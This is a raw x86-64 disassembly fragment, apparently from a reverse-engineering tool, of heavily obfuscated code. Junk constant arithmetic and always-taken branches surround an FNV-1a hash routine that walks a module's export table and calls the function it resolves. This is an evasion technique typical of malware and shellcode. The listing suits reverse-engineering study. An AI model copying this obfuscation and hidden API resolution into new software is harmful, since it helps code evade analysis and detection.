add eax, 0xbd36bed4
xor eax, 0xdafbda5a
rol eax, 0x39
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0xed9cdfc2
pushf
not eax
add eax, 0x9aab631a
xor eax, 0x90635cf5
rol eax, 0x8f
popf
pushf
not eax
add eax, 0x8ccbb25b
xor eax, 0x85d7ee1e
rol eax, 0xd1
popf
pushf
not eax
add eax, 0xcb48c5b7
xor eax, 0xcfd4951c
rol eax, 0xfb
popf
jmp 0x1400de308
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x114], eax
jmp 0x1400e1546
xor eax, eax
test eax, eax
je 0x1400e141c
push rax
pushf
mov eax, 0x53a2e744
pushf
not eax
add eax, 0xa5214e27
xor eax, 0x9771e17e
rol eax, 0x15
popf
pushf
not eax
add eax, 0xa7b60f9d
xor eax, 0xfc138c32
rol eax, 0xcf
popf
pushf
not eax
add eax, 0x90042f87
xor eax, 0xfaba043e
rol eax, 0xbf
popf
pushf
not eax
add eax, 0xea8968d5
xor eax, 0xffc07934
rol eax, 0x35
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x84007716
pushf
not eax
add eax, 0x92b9d4e4
xor eax, 0xe786bc8e
rol eax, 2
popf
pushf
not eax
add eax, 0x83558aa4
xor eax, 0xde620594
rol eax, 0xb0
popf
jmp 0x1400de308
movsx eax, byte [rsp + 0x21]
or eax, 0x20
mov dword [rsp + 0x78], eax
jmp 0x1400e14f5
movsx eax, byte [rsp + 0x21]
mov dword [rsp + 0x78], eax
push rax
pushf
mov eax, 0xa5ec4b0a
pushf
not eax
add eax, 0x8b8bb6dd
xor eax, 0xc5da5fd7
rol eax, 0x91
popf
pushf
not eax
add eax, 0x88ccfbb9
xor eax, 0x8cc41ad8
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xcf0a127b
xor eax, 0x934aaa06
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xfe309545
xor eax, 0xe3e52f85
rol eax, 0x30
popf
jmp 0x1400de308
mov eax, dword [rsp + 0x78]
mov ecx, dword [rsp + 0x68]
xor ecx, eax
mov eax, ecx
mov eax, eax
imul rax, rax, 0x1000193
mov dword [rsp + 0x68], eax
jmp 0x1400e12a7
mov eax, dword [rsp + 0x110]
cmp dword [rsp + 0x114], eax
jne 0x1400e1589
push rax
pushf
mov eax, 0xa46695e3
pushf
not eax
add eax, 0xf43558b2
xor eax, 0xea70d5ed
rol eax, 0xd6
popf
pushf
not eax
add eax, 0x9f1ce6d9
xor eax, 0xd0d37753
rol eax, 0x2b
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x5c9f4bb0
pushf
not eax
add eax, 0x900ac36d
xor eax, 0xdc4fa018
rol eax, 0x95
popf
pushf
not eax
add eax, 0xf4123cc9
xor eax, 0xcbf3cd42
rol eax, 0x1e
popf
pushf
not eax
add eax, 0xc1679489
xor eax, 0xb418a1b8
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xf475da68
xor eax, 0xca4d204a
rol eax, 0x30
popf
jmp 0x1400de308
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0x1c]
add rax, qword [rsp + 0xc0]
mov qword [rsp + 0x248], rax
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0x24]
add rax, qword [rsp + 0xc0]
mov qword [rsp + 0x240], rax
mov eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x240]
movzx eax, word [rcx + rax*2]
mov rcx, qword [rsp + 0x248]
mov eax, dword [rcx + rax*4]
add rax, qword [rsp + 0xc0]
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x150], rax
jmp 0x1400e17f9
jmp 0x1400e1048
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x258], rax
mov rax, qword [rsp + 0x258]
mov rax, qword [rax]
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0x148], rax
mov byte [rsp + 0x27], 1
movzx eax, byte [rsp + 0x27]
test eax, eax
jne 0x1400e174e
push rax
pushf
mov eax, 0x79a625dd
pushf
not eax
add eax, 0xb82e81e2
xor eax, 0xa6c9e7b4
rol eax, 0xee
popf
pushf
not eax
add eax, 0xfbe472a0
xor eax, 0x8d284c8f
rol eax, 0xcd
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0xaa038e75
pushf
not eax
add eax, 0xa70802f1
xor eax, 0xf5fcfd7f
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xe19af14b
xor eax, 0xb985a9be
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xc31c5d11
xor eax, 0xd139005e
rol eax, 0xdc
popf
jmp 0x1400de308
mov qword [rsp + 0x150], 0
push rax
pushf
mov eax, 0x37248107
pushf
not eax
add eax, 0xa774f7f7
xor eax, 0xd07b0991
rol eax, 0x65
popf
pushf
not eax
add eax, 0xd6c5f92c
xor eax, 0xe9cb490b
rol eax, 0x3a
popf
pushf
not eax
add eax, 0xf46c95ff
xor eax, 0xa6edeb95
rol eax, 0xc1
popf
pushf
not eax
add eax, 0xe891cca1
xor eax, 0x9d2e35d0
rol eax, 0xe
popf
jmp 0x1400de308
mov ecx, 0xe06fd83a
pushf
not ecx
add ecx, 0x9c1fb680
xor ecx, 0xdd45c250
rol ecx, 0xc9
popf
pushf
not ecx
add ecx, 0x8c1219d5
xor ecx, 0xb7d9effd
rol ecx, 0x81
popf
jmp 0x1400e1829
call qword [rsp + 0x150]
mov r8d, 0x4269e993
pushf
not r8d
add r8d, 0xa5f2a394
xor r8d, 0xbab7c39e
rol r8d, 0x91
popf
pushf
not r8d
add r8d, 0x87448006
xor r8d, 0x98384444
rol r8d, 0x1d
popf
pushf
not r8d
add r8d, 0xeb784d5c
xor r8d, 0x89f07c2b
rol r8d, 0xc3
popf
mov edx, 0xb1b57999
pushf
not edx
add edx, 0xf82dbbb6
xor edx, 0xa9f9fdef
rol edx, 0xf5
popf
pushf
not edx
add edx, 0xeab17c20
xor edx, 0xd446c683
rol edx, 0x4a
popf
pushf
not edx
add edx, 0xd699616f
xor edx, 0xc11751be
rol edx, 0x3f
popf
pushf
not edx
add edx, 0xdd8f5e0e
xor edx, 0xf554eb74
rol edx, 0xb1
popf
mov rcx, qword [rsp + 0x158]
call fcn.140161ab2
mov r8d, 0x44baaaa2
pushf
not r8d
add r8d, 0xa709aeac
xor r8d, 0x9212605b
rol r8d, 0x22
popf
pushf
not r8d
add r8d, 0xfb00aa4c
xor r8d, 0xdc8eb3f0
rol r8d, 0xdf
popf
pushf
not r8d
add r8d, 0x8d23f751
xor r8d, 0xf4292c40
rol r8d, 0x79
popf
pushf
not r8d
add r8d, 0xf77cbc4c
xor r8d, 0xe59fac30
rol r8d, 0xef
popf
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x158]
call fcn.140081885
mov r8d, 0x27b835d4
pushf
not r8d
add r8d, 0xa9498e52
xor r8d, 0xdfbe4fe6
rol r8d, 0x2d
popf
pushf
not r8d
add r8d, 0x8268da29
xor r8d, 0x9f556e63
rol r8d, 0xb1
popf
mov edx, 0xd432eb1a
pushf
not edx
add edx, 0xb0c3d884
xor edx, 0x80d2326d
rol edx, 0x3f
popf
pushf
not edx
add edx, 0x9b15da92
xor edx, 0x95c35a95
rol edx, 0x88
popf
pushf
not edx
add edx, 0x95e87b73
xor edx, 0xd27a0bd9
rol edx, 0x79
popf
pushf
not edx
add edx, 0xd7fb1f5c
xor edx, 0x96c18584
rol edx, 0xe
popf
mov rcx, qword [rsp + 0xa0]
call fcn.140161ab2
mov r8d, 0x3fec7156
pushf
not r8d
add r8d, 0xd909bfd6
xor r8d, 0x9ab6497a
rol r8d, 0xde
popf
pushf
not r8d
add r8d, 0xb15a8fab
xor r8d, 0x8e73b758
rol r8d, 0x22
popf
pushf
not r8d
add r8d, 0xf35e4272
xor r8d, 0xdf1331a4
rol r8d, 0xcc
popf
pushf
not r8d
add r8d, 0x85dc5e50
xor r8d, 0x8d7b7bf0
rol r8d, 0x6a
popf
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xa0]
call fcn.1400733aa
mov r8d, 0xe40db7be
pushf
not r8d
add r8d, 0xc9ef85ba
xor r8d, 0x891e0309
rol r8d, 0xde
popf
pushf
not r8d
add r8d, 0x915f824a
xor r8d, 0xe63a55ac
rol r8d, 0x28
popf
pushf
not r8d
add r8d, 0xe34d3fec
xor r8d, 0xbd701edb
rol r8d, 0x92
popf
lea rdx, [rsp + 0x158]
mov rcx, qword [rsp + 0xa0]
call fcn.140081885
push rax
pushf
mov eax, 0xbd3a0e81
pushf
not eax
add eax, 0xc3a7ffbf
xor eax, 0xc21505a2
rol eax, 0x8a
popf
pushf
not eax
add eax, 0x949dc718
xor eax, 0xdb36ec47
rol eax, 0x14
popf
pushf
not eax
add eax, 0xf34ec452
xor eax, 0xa0380477
rol eax, 0x6a
popf
jmp 0x1400de308
xor eax, eax
cmp eax, 1
je 0x1400e1b69
push rax
pushf
mov eax, 0x75b4efc6
pushf
not eax
add eax, 0xf4346d9c
xor eax, 0xde5752ab
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x87d32607
xor eax, 0x86904211
rol eax, 0xd5
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x8c2189f
pushf
not eax
add eax, 0xc0631dc4
xor eax, 0xfd72c2af
rol eax, 0x86
popf
pushf
not eax
add eax, 0xbb637c0d
xor eax, 0x9d8add7e
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf61a0739
xor eax, 0xfc77e4eb
rol eax, 0xec
popf
jmp 0x1400de308
mov r8d, 0xe0b46cff
pushf
not r8d
add r8d, 0xd281830c
xor r8d, 0x9e7c53a6
rol r8d, 0x7a
popf
pushf
not r8d
add r8d, 0x83426d10
xor r8d, 0xfe27e8ae
rol r8d, 0x5b
popf
pushf
not r8d
add r8d, 0xcf1fd30a
xor r8d, 0x90ba4bf1
rol r8d, 0xeb
popf
pushf
not r8d
add r8d, 0xc062fc68
xor r8d, 0xf087083d
rol r8d, 0x47
popf
lea rdx, [rsp + 0x118]
mov rcx, qword [rsp + 0x1a0]
call fcn.1400733aa
cmp dword [rsp + 0x118], 0x69
jne 0x1400e1c91
push rax
pushf
mov eax, 0x81259488
pushf
not eax
add eax, 0xe1060148
xor eax, 0xa72ee721
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x89075b90
xor eax, 0xf6954ca2
rol eax, 0x5c
popf
pushf
not eax
add eax, 0xc66139e4
xor eax, 0xe11ba1f5
rol eax, 0x64
popf
pushf
not eax
add eax, 0xf02596be
xor eax, 0xad62bae1
rol eax, 0x26
popf
jmp 0x1400de308
push rax
pushf
mov eax, 0x4098f4a3
pushf
not eax
add eax, 0xeed36813
xor eax, 0xaea95740
rol eax, 0xc3
popf
pushf
not eax
add eax, 0xd2fcfe10
xor eax, 0xce63d357
rol eax, 0xba
popf
jmp 0x1400de308
mov r8d, 0xfcd1b85c
pushf
not r8d
add r8d, 0xac38db67
xor r8d, 0xe866002e
rol r8d, 0xd2
popf
pushf
not r8d
add r8d, 0xf934e956
xor r8d, 0xfc1d4951
rol r8d, 0x8e
popf
pushf
not r8d
add r8d, 0x8d43dcaf
xor r8d, 0xec03b87f
rol r8d, 0x6d
popf
lea rdx, [rsp + 0x268]
mov rcx, qword [rsp + 0xa0]
call fcn.140081885
mov r8d, 0x8a1ac1be
pushf
not r8d
add r8d, 0x8839a215
xor r8d, 0xaaa345e0
rol r8d, 0x6f
popf
pushf
not r8d
add r8d, 0xd36f63ff
xor r8d, 0xbb964c62
rol r8d, 0x23
popf
pushf
not r8d
add r8d, 0xe62a29c1
xor r8d, 0xf02e5e15
rol r8d, 0xc7
popf
pushf
not r8d
add r8d, 0xde92d7ab
xor r8d, 0xca7ff82b
rol r8d, 0xa6
popf
mov edx, 0x974b7239
pushf
not edx
add edx, 0x9931b26e
xor edx, 0xfb7ecee5
rol edx, 0x2e
popf
pushf
not edx
add edx, 0xc194c69f
xor edx, 0x9de047fc
rol edx, 0x61
popf
mov rcx, qword [rsp + 0xa0]
call fcn.140161ab2
jmp 0x1400e1e66
jmp 0x1400e1b2f
mov al, 0x93
pushf
not al
add al, 0xb5
xor al, 0xa1
rol al, 0xf7
popf
pushf
not al
add al, 7
xor al, 0xc7
rol al, 0x26
popf
pushf
not al
add al, 0x10
xor al, 0x3a
rol al, 0x77
popf
pushf
not al
add al, 0xd9
xor al, 0xd6
rol al, 0xd5
popf
add rsp, 0x308
pop rdi
pop rsi
ret